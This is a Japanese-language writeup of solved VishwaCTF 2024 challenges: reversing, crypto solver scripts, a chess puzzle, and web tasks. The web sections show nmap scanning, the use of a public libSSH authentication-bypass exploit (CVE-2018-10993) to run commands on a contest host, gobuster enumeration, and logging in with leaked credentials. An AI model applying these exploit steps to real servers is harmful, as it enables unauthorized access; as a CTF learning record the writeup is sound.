VishwaCTF 2024 Writeup

この大会は2024/3/1 19:30(JST)~2024/3/3 19:30(JST)に開催されました。
今回もチームで参戦。結果は3557点で1038チーム中98位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to VishwaCTF'24 (Miscellaneous, Beginner)

問題にフラグが書いてあった。

VishwaCTF{arambhah sarvasya dharmasya}

Who am I? (Miscellaneous, Easy)

問題作成者の情報を見るために「@Aditya Gaikwad」のメッセージから見てみる。自己紹介にフラグが書いてあった。

VishwaCTF{1_4m_n0t_4n0nym0u5_4nym0r3}

Sandese Aate hai (Reverse Engineering, Medium)

$ ./Program
Original matrix:
V       i       s       h       w       a
d       2       3       y       3       C
n       2       k       0       v       T
4       4       }       v       1       F
_       m       _       h       c       {
y       3       2       d       n       4
Encrypted:
V       h       q       h       w       a
d       2       3       y       3       C
l       2       o       0       p       S
4       4       }       v       1       N
[       m       Y       h       k       {
y       3       2       d       g       4
Encrypted:
86      104     113     104     119     97
100     50      51      121     51      67
108     50      111     48      112     83
52      52      125     118     49      78
91      109     89      104     107     123
121     51      50      100     103     52

回転するようにフラグが出力される。

VishwaCTF{4nd23y_4nd23y3v1ch_m42k0v}

Save The City (Web, Easy)

$ nc 13.234.11.113 32471 -v
ec2-13-234-11-113.ap-south-1.compute.amazonaws.com [13.234.11.113] 32471 (?) open
SSH-2.0-libssh_0.8.1

Bye Bye

$ nmap -sC -sV -Pn -p 32471 13.234.11.113
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-01 23:27 JST
Nmap scan report for ec2-13-234-11-113.ap-south-1.compute.amazonaws.com (13.234.11.113)
Host is up (0.14s latency).

PORT      STATE SERVICE VERSION
32471/tcp open  ssh     libssh 0.8.1 (protocol 2.0)
| ssh-hostkey: 
|_  2048 34f332c6e850236a6723bd58a388e3a6 (RSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.09 seconds

libssh 0.8.1のexploitを調べると、以下のPoCが見つかる。

https://gist.github.com/mgeeky/a7271536b1d815acfb8060fd8b65bd5d

これを利用してRCEを実行する。

$ python3 cve-2018-10993.py -p 32471 -c ls 13.234.11.113

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
bin
boot
dev
etc
home
lib
lib64
location.txt
media
mnt
opt
proc
root
run
sbin
srv
ssh_server_fork.patch
sys
tmp
usr
var

$ python3 cve-2018-10993.py -p 32471 -c "cat location.txt" 13.234.11.113

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
elrow-club-pune
VishwaCTF{elrow-club-pune}

Trip To Us (Web, Easy)

$ gobuster dir -u https://ch661012148630.ch.eng.run/ -w /usr/share/wordlists/dirb/common.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://ch661012148630.ch.eng.run/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 290]
/.htaccess            (Status: 403) [Size: 290]
/.hta                 (Status: 403) [Size: 290]
/backups              (Status: 301) [Size: 340] [--> http://ch661012148630.ch.eng.run/backups/]
/db                   (Status: 301) [Size: 335] [--> http://ch661012148630.ch.eng.run/db/]
/Images               (Status: 301) [Size: 339] [--> http://ch661012148630.ch.eng.run/Images/]
/server-status        (Status: 403) [Size: 290]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

https://ch661012148630.ch.eng.run/db/sqlファイルが2つあるので、ダウンロードする。users.sqlには以下が書いてある。

INSERT INTO `users` (`id`, `user_name`, `password`, `name`) VALUES
(1, 'admin', 'unbre@k@BLE_24', 'admin');

Click Hereをクリックすると、https://ch661012148630.ch.eng.run/Error.phpに遷移し、以下のメッセージが表示された。

YOU ARE NOT AN IITAIN , GO BACK!!!!!!!

HTMLソースを見ると、以下のように書いてある。

<img src="./Images/GoBack.webp" alt="Change User agent to 'IITIAN'">

BurpでInterceptし、User-Agentを"IITIAN"にしてアクセスしてみる。

https://ch661012148630.ch.eng.run/auth-iit-user.phpに遷移し、ログイン画面が表示された。先ほどのadminユーザの情報でログインしてみると、フラグが表示された。

VishwaCTF{y0u_g0t_th3_7r1p_t0_u5}

They Are Coming (Web, Easy)

https://ch471012155763.ch.eng.run/robots.txtにアクセスすると、以下のように書いてある。

# https://www.robotstxt.org/robotstxt.html
User-agent: *
Disallow: /admin
L3NlY3JldC1sb2NhdGlvbg==
Decryption key: th1s_1s_n0t_t5e_f1a9

https://ch471012155763.ch.eng.run/adminにアクセスすると、以下のように表示される。

Unexpected Application Error!
404 Not Found
$ echo L3NlY3JldC1sb2NhdGlvbg== | base64 -d    
/secret-location

https://ch471012155763.ch.eng.run/secret-locationにアクセスすると、以下のように表示される。

A Courrpt AI Agent and Its Army of 128 Aesthetic Looking Robots Are Heading Towards Local Vault of the City of Dawn!

読み込んでいる/static/js/main.25b1321e.jsに関係ありそうなコードがある。

          , yt = ()=>{
            localStorage.setItem("userRole", "admin"),
            localStorage.setItem("F1ag", "Open Your Eyes!"),
            localStorage.setItem("lastLogin", "2023-01-01T12:00:00Z"),
            localStorage.setItem("theme", "dark"),
            localStorage.setItem("language", "en_US"),
            localStorage.setItem("isLoggedIn", "true"),
            localStorage.setItem("unreadMessages", "5"),
            localStorage.setItem("preferredCurrency", "USD");
            return localStorage.setItem("DivID", "205"),
            localStorage.setItem("Flag", "Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA"),
            localStorage.setItem("AppVer", "1.0"),
            (0,
            vt.jsx)(vt.Fragment, {
                children: (0,
                vt.jsxs)("div", {
                    className: "hint-main",
                    children: [(0,
                    vt.jsx)("h1", {
                        className: "hint",
                        children: "A Courrpt AI Agent and Its Army of 128 Aesthetic Looking Robots Are Heading Towards Local Vault of the City of Dawn!"
                    }), (0,
                    vt.jsx)("p", {
                        className: "hint1",
                        style: {
                            display: "none"
                        },
                        children: "I have done 128 cbc tests"
                    })]
                })
            })
        }

この情報から以下のことが推測できる。

・フラグを暗号化し、base64エンコードしたものが、"Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA"
・暗号化はAES CBC モード128ビット
・暗号鍵は"th1s_1s_n0t_t5e_f1a9"を元にしたもの

いろいろ試したところ、以下で復号できた。

・暗号鍵:"th1s_1s_n0t_t5e_f1a9"の先頭16バイト
・IV:"\x00" * 16
#!/usr/bin/env python3
from base64 import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

enc_flag = b'Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA'
enc_flag = b64decode(enc_flag)

key = b'th1s_1s_n0t_t5e_f1a9'[:16]
iv = b'\x00' * 16

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc_flag), 16).decode()
print(flag)
VishwaCTF{g0_Su88m1t_1t_Qu14kl7}

Happy Valentine's Day (Cryptography, Easy)

pngファイルの先頭8バイトをkeyをしてXORしている。keyはわかっているので、それを使って画像を復号する。

#!/usr/bin/env python3
from itertools import cycle

def xor(a, b):
    return [i ^ j for i, j in zip(a, cycle(b))]

key = list(b'\x89PNG\x0d\x0a\x1a\x0a')

with open('enc.txt', 'rb') as f:
    enc = f.read()

dec = bytearray(xor(enc, key))

with open('flag.png', 'wb') as f:
    f.write(dec)


復号した画像にフラグが書いてあった。

VishwaCTF{h3ad3r5_f0r_w1nn3r5}

Poly Fun (Cryptography, Medium)

transform関数の中を整理する。

・最初の分岐では、1~100000のnumberについてどの値も13になる。
・次の分岐では、1~6のnum1, 1~6のnum2についてどの値も以下の条件を満たす。
 int(number / 10) == num1 and number % 10 == num2
・次の分岐では、generate_random_number()で生成したnumberについてどの値も1089になる。
・次の分岐では場合によりどちらかの処理を行う。
 ただiが8以上の場合はnumの値は小数になるので、iが7以下の場合の処理を行っていると推測する。

以上のことからtransform関数では数値は変わらないことになる。polyの2次関数のみで数値が変わるので、8ビットの文字に対する総当たりで辞書を作成し、元の鍵を求める。AES暗号と推測して、encoded_flag.txtの内容をbase64エンコードしたものをこの鍵で復号する。

#!/usr/bin/env python3
import numpy as np
from base64 import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

for num in range(1, 100000):
    org = num
    tmp_n = num
    tmp_n *= 2
    tmp_n += 15
    tmp_n *= 3
    tmp_n += 33
    tmp_n /= 6
    tmp_n -= org
    assert tmp_n == 13

for num1 in range(1, 7):
    for num2 in range(1, 7):
        tmp_n = num1 * 2
        tmp_n += 5
        tmp_n *= 5
        tmp_n += num2
        tmp_n -= 25
        assert int(tmp_n / 10) == num1 and tmp_n % 10 == num2

nums = []
for num in range(100, 1000):
    first_digit = num // 100
    last_digit = num % 10
    if abs(first_digit - last_digit) > 1:
        nums.append(num)

for num in nums:
    num1 = int(''.join(sorted(str(num), reverse=True)))
    num2 = int(''.join(sorted(str(num))))
    diff = abs(num1 - num2)
    rev_diff = int(str(diff)[::-1])
    tmp_n = diff + rev_diff
    assert tmp_n == 1089

nums = []
for num in range(1000, 10000):
    if num % 1111 != 0:
        nums.append(num)

for num in nums:
    i = 0
    tmp_n = num
    while tmp_n != 6174:
        digits = [int(d) for d in str(tmp_n)]
        digits.sort()
        smallest = int(''.join(map(str, digits)))
        digits.reverse()
        largest = int(''.join(map(str, digits)))
        tmp_n = largest - smallest
        i += 1
        if i == 8:
            break

for num in range(256):
    org = num
    tmp_n = num
    tmp_n *= 2
    tmp_n += 7
    tmp_n += 5
    tmp_n -= 12
    tmp_n -= org
    tmp_n += 4
    tmp_n *= 2
    tmp_n -= 8
    tmp_n -= org
    assert tmp_n == num

polyc = [4, 3, 7]
poly = np.poly1d(polyc)

dic = {}
for num in range(256):
    dic[int(poly(num))] = num

with open('encoded_key.txt', 'r', encoding='utf_8') as f:
    enc_key = f.read()

key = ''
for ck in enc_key:
    key += chr(dic[ord(ck)])
print('[+] key:', key)

with open('encoded_flag.txt', 'r') as f:
    enc_flag = f.read()

enc_flag = b64decode(enc_flag)

cipher = AES.new(key.encode(), AES.MODE_ECB)
flag = unpad(cipher.decrypt(enc_flag), 16).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] key: 12345678910111213141516171819202
[*] flag: VishwaCTF{s33_1_t0ld_y0u_1t_w45_345y}
VishwaCTF{s33_1_t0ld_y0u_1t_w45_345y}

Lets smother the King! (Cryptography, Medium)

Malbolgeというesolangと推測し、https://malbolge.doleczek.pl/で実行すると、以下のデータが出力される。

White- Ke1,Qe5,Rc1,Rh1,Ne6,a2,b3,d2,f2,h2 Black- Ka8,Qh3,Rg8,Rh8,Bg7,a7,b7,e4,g2,g6,h7

https://chess-bot.com/online_calculator/next_best_move.htmlで上記を配置する。配置データは以下の通り。

k5rr/pp4bp/4N1pq/4Q3/4p3/1P6/P2P1PpP/2R1K2R w KQ

Calculate positionで動きを確認する。その際チェックは"+"、駒取りは"x"、チェックメイトは"#"の記号を入れるようにする。

1.[White] Nc7+
2.[Black] Kb8
3.[White] Na6+
4.[Black] Ka8
5.[White] Qb8+
6.[Black] Rxb8
7.[White] Nc7#
VishwaCTF{Nc7+_Kb8_Na6+_Ka8_Qb8+_Rxb8_Nc7#}

Teyvat Tales (Cryptography, Medium)

script.jsを見れば、4つの入力に何を入力すればよいかわかる。

1: enigma m3
2: ukw c
3: rotor1 i p m rotor2 iv a o rotor3 vi i n
4: vi sh wa ct fx

現れる文字列は以下の通り。

CYNIPJ_RE_LSKR-YAZN_MBSJ

Enigma machineの復号の問題で、4はプラグボードのパラメータになっている。https://cryptii.com/pipes/enigma-machineで復号する。

復号結果は以下の通り。

beware_of_tone-deaf_bard
VishwaCTF{beware_of_tone-deaf_bard}

Intellectual Heir (Cryptography, Hard)

Pythonコードが入っているが、コードの処理は正確ではないので、推測する必要がある。
まずmsgを算出する必要がありそう。関係するコードは以下のようになっている。

f = (? * ?) #cant remember what goes in the question mark
e = #what is usually used

encrypted = pow(msg, e, f)

fの値はわからない。eはおそらく65537と推測できる。encryptedの値がfile.txtに出力されていると思われる。
またfに値に結びつきそうなコードは以下のようになっている。

#bamm!! protection for primes
number = 
bin = bin(number)[2:]

#bamm!! bamm!! double protection for primes
bin_arr = np.array(list(bin), dtype=int)
result = np.sin(bin_arr)
result = np.cos(bin_arr)
np.savetxt("file1", result)
np.savetxt("file2", result)

numberは不明だが、binは2進数文字列になっている。それのsin、cosの配列があり、file1.txtとfile2.txtに出力されている。
file1.txtの冒頭の値を確認してみる。

5.403023058681397650e-01
1.000000000000000000e+00
5.403023058681397650e-01
1.000000000000000000e+00
5.403023058681397650e-01
1.000000000000000000e+00
1.000000000000000000e+00
5.403023058681397650e-01

file2.txtの冒頭の値を確認してみる。

8.414709848078965049e-01
0.000000000000000000e+00
0.000000000000000000e+00
0.000000000000000000e+00
0.000000000000000000e+00
8.414709848078965049e-01
0.000000000000000000e+00
0.000000000000000000e+00
>>> import numpy as np
>>> bin = '101101'
>>> bin_arr = np.array(list(bin), dtype=int)
>>> bin_arr
array([1, 0, 1, 1, 0, 1])
>>> result = np.sin(bin_arr)
>>> result
array([0.84147098, 0.        , 0.84147098, 0.84147098, 0.        ,
       0.84147098])
>>> result = np.cos(bin_arr)
>>> result
array([0.54030231, 1.        , 0.54030231, 0.54030231, 1.        ,
       0.54030231])

この結果からfile1とfile2は逆になっているが、対応付けはできる。
file1.txtについては、以下のように対応づけられる。

・5.403023058681397650e-01 → "1"
・1.000000000000000000e+00 → "0"

file2.txtについては、以下のように対応づけられる。

・8.414709848078965049e-01 → "1"
・0.000000000000000000e+00 → "0"

あとはそれを2進数として整数にすればp, qになると推測して、RSA暗号としてmsgを復号する。msgは入力文字列のASCIIコードを文字列として結合したものなので、32以上126以下になるよう区切ってデコードする。
あとはフラグの形式にすればフラグになる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('file1.txt', 'r') as f:
    lines1 = f.read().splitlines()

with open('file2.txt', 'r') as f:
    lines2 = f.read().splitlines()

p = ''
for line in lines1:
    if line == '5.403023058681397650e-01':
        p += '1'
    else:
        p += '0'

q = ''
for line in lines2:
    if line == '8.414709848078965049e-01':
        q += '1'
    else:
        q += '0'

p = int(p, 2)
q = int(q, 2)

with open('file.txt', 'r') as f:
    c = int(f.read())

e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
msg = pow(c, d, p * q)

result = str(msg)

input_string = ''
code = ''
for i in range(len(result)):
    code += result[i]
    if int(code) >= 32 and int(code) < 127:
        input_string += chr(int(code))
        code = ''

flag = 'VishwaCTF{%s}' % input_string
print(flag)
VishwaCTF{Y0U_@R3_T#3_W0RT#Y_OF_3}

BitBane - Cryptic Chaos (Cryptography, Hard)

暗号化処理の概要は以下の通り。

・data: フラグ
・encryption: int型の空配列
・key = "VishwaCTF"
・encode(encryption, data, key)
 ・dataの長さだけ以下繰り返し
  ・curr: dataのi番目の文字のASCIIコード
  ・idx = (i % 8) + 2
  ・num = create(curr, idx)
   ・not_remainder = 0
   ・topping = createTopping(curr, idx, not_remainder)
    ・temp = 0
    ・num = 1
    ・num = num << 1 = 2
    ・currが0以外の間以下繰り返し
     ・remainder = curr % idx
     ・remainderが0以外の場合
      ・temp = temp * 10 + remainder
      ・curr = curr - remainder
     ・remainderが0の場合
      ・num = num | 1
      ・curr = curr / idx
    ・temp = temp << 1
    ・temp = temp | 1
    ・not_remainder = temp
   ・base = createBase(not_remainder)
    ・num = 0
    ・30回以下繰り返し
     ・not_remainderが0以外の間以下繰り返し
      ・num = num | (not_remainder & 1)
      ・not_remainder = not_remainder >> 1
     ・num = num << 1
    ・numを返却
  ・encryption.push_back(num)
・applyKey(encryption, key)
 ・n: keyの長さ
 ・nだけ以下繰り返し(i)
  ・curr = keyのi番目の文字のASCIIコード
  ・cnt = 0
  ・cpy = curr
  ・cpyが0以外の間以下繰り返し
   ・cpyの最下位ビットが立っている場合
    ・cntをプラス1
   ・cpy = cpy >> 1
  ・curr = curr << (i + 10)
  ・cntが0以外の間以下繰り返し
   ・cntをマイナス1
   ・curr = curr << 1
   ・curr = curr ^ 1
  ・k: encryptionの長さ
  ・kだけ以下繰り返し(j)
   ・encryption[j] = encryption[j] ^ curr
・extraSecurity(encryption)
 ・n: encryptionの長さ
 ・nだけ以下繰り返し(i)
  ・idx = i + 2
  ・res = checkValidity(idx)
   ・iが2以上i*iがnum未満の間
    ・num % iが0の場合
     ・falseを返却
   ・trueを返却
  ・resがtrueの場合
   ・encryption[i] = ~encryption[i]
・writeToFile(encryption)
 ・encryptionの各値をスペース区切りでEncrypted.txtに出力

1バイトずつ処理をしているので、ブルートフォースで復号する。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>

#define LEN 55

int createTopping(int curr, int idx, int *not_remainder)
{
    int temp = 0;
    int num = 1;
    num = num << 1;
    while (curr)
    {
        int remainder = curr % idx;
        if (remainder)
        {
            temp = temp * 10 + remainder;
            curr = curr - remainder;
        }
        else
        {
            num = num | 1;
            curr = curr / idx;
        }
        num = num << 1;
    }
    temp = temp << 1;
    temp = temp | 1;
    *not_remainder = temp;
    return num | 1;
}

int createBase(int not_remainder)
{
    int num = 0;
    for (int i = 0; i < 30; ++i)
    {
        if (not_remainder)
        {
            num = num | (not_remainder & 1);
            not_remainder = not_remainder >> 1;
        }
        num = num << 1;
    }
    return num;
}

int create(int curr, int idx)
{
    int not_remainder = 0;
    int topping = createTopping(curr, idx, &not_remainder);
    int base = createBase(not_remainder);
    int num = base | topping;
    return num;
}

bool checkValidity(int num)
{
    for (int i = 2; i * i < num; ++i)
    {
        if (num % i == 0)
            return false;
    }
    return true;
}

int extraSecurity(int curr, int index)
{
    int idx = index + 2;
    if (checkValidity(idx))
    {
        curr = ~curr;
    }
    return curr;
}

int encode(int curr, int index)
{
    int idx = (index % 8) + 2;
    int num = create(curr, idx);
    return num;
}

int makeXorKey(char *key) {
    int xor_key = 0;
    int n = strlen(key);
    for (int i = 0; i < n; ++i) {
        int curr = key[i];
        int cnt = 0;
        int cpy = curr;
        while (cpy) {
            if (cpy & 1)
                ++cnt;
            cpy = cpy >> 1;
        }
        curr = curr << (i + 10);
        while (cnt--) {
            curr = curr << 1;
            curr = curr ^ 1;
        }
        xor_key = xor_key ^ curr;
    }
    return xor_key;
}

void main()
{
    FILE *fp;
    int c;
    int ii = 0, jj = 0;
    char buf[16];
    int encryption[LEN];

    fp = fopen("Encrypted.txt", "r");
    while (true) {
        c = fgetc(fp);
        if (c == EOF) {
            break;
        } else if (c == 32) {
           buf[ii] = 0;
           encryption[jj] = atoi(buf);
           ii = 0;
           jj++;
        } else {
           buf[ii] = c;
           ii++;
        }
    }

    char key[10] = "VishwaCTF\0";
    int newkey = makeXorKey(key);

    int num;
    char flag[56] = {0};
    for (int i = 0; i < LEN; i++) {
        for (int code = 32; code < 127; code++) {
            num = encode(code, i);
            num = num ^ newkey;
            num = extraSecurity(num, i);
            if (num == encryption[i]) {
                flag[i] = code;
                break;
            }
        }
    }
    printf("%s\n", flag);
}
VishwaCTF{BIT5_3NCRYPT3D_D3CRYPTED_M1ND5_D33PLY_TE5T3D}

Feedback (Miscellaneous, Beginner)

アンケートに答えたら、フラグが表示された。

VishwaCTF{th4nk_y0u_f0r_p4rt1c1pat1ng_in_VishwaCTF'24}